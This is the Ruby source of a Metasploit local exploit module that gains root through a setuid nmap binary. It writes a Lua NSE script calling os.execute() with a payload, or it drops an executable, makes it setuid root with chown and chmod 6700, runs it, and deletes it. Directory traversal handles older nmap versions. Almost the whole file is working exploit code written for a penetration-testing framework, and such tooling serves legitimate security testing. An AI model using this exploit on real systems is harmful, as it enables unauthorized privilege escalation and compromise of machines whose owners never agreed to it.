metasploit-framework/modules/exploits/unix/local/setuid_nmap.rb

99 lines
3.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
def initialize(info={})
super( update_info( info, {
'Name' => 'Setuid Nmap Exploit',
'Description' => %q{
Nmap's man page mentions that "Nmap should never be installed with
special privileges (e.g. suid root) for security reasons.." and
specifically avoids making any of its binaries setuid during
installation. Nevertheless, administrators sometimes feel the need
to do insecure things. This module abuses a setuid nmap binary by
writing out a lua nse script containing a call to os.execute().
Note that modern interpreters will refuse to run scripts on the
command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}
payloads will most likely not work.
},
'License' => MSF_LICENSE,
'Author' => [ 'egypt' ],
'DisclosureDate' => 'Jul 19 2012',
'Platform' => %w{ bsd linux unix },
'Arch' => [ ARCH_CMD, ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Command payload', { 'Arch' => ARCH_CMD } ],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'BSD x86', { 'Arch' => ARCH_X86 } ],
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0,
}
))
register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("Nmap", [ true, "Path to setuid nmap executable", "/usr/bin/nmap" ]),
OptString.new("ExtraArgs", [ false, "Extra arguments to pass to Nmap (e.g. --datadir)", "" ]),
])
end
def check
if setuid?(datastore['Nmap'])
vprint_good("#{datastore['Nmap']} is setuid")
return CheckCode::Vulnerable
end
CheckCode::Safe
end
def exploit
if (target.arch.include? ARCH_CMD)
p = payload.encoded.gsub(/([$"])/) {|m| "\\#{$1}" }
evil_lua = %Q{ os.execute("#{p} &") }
else
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.elf"
print_status("Dropping executable #{exe_file}")
write_file(exe_file, generate_payload_exe)
evil_lua = %Q{
os.execute("chown root:root #{exe_file}");
os.execute("chmod 6700 #{exe_file}");
os.execute("#{exe_file} &");
os.execute("rm -f #{exe_file}");
}
end
lua_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.nse"
print_status("Dropping lua #{lua_file}")
write_file(lua_file, evil_lua)
print_status("Running #{lua_file} with Nmap")
scriptname = lua_file
if (lua_file[0,1] == "/")
# Versions before 4.51BETA (December 2007) only accept relative paths for script names
# Figure 10 up-directory traversals is enough.
scriptname = ("../" * 10) + lua_file[1..-1]
end
begin
# Versions before 4.75 (August 2008) will not run scripts without a port scan
cmd_exec "#{datastore["Nmap"]} --script #{scriptname} -p80 localhost #{datastore["ExtraArgs"]}"
ensure
rm_f(lua_file, exe_file)
end
end
end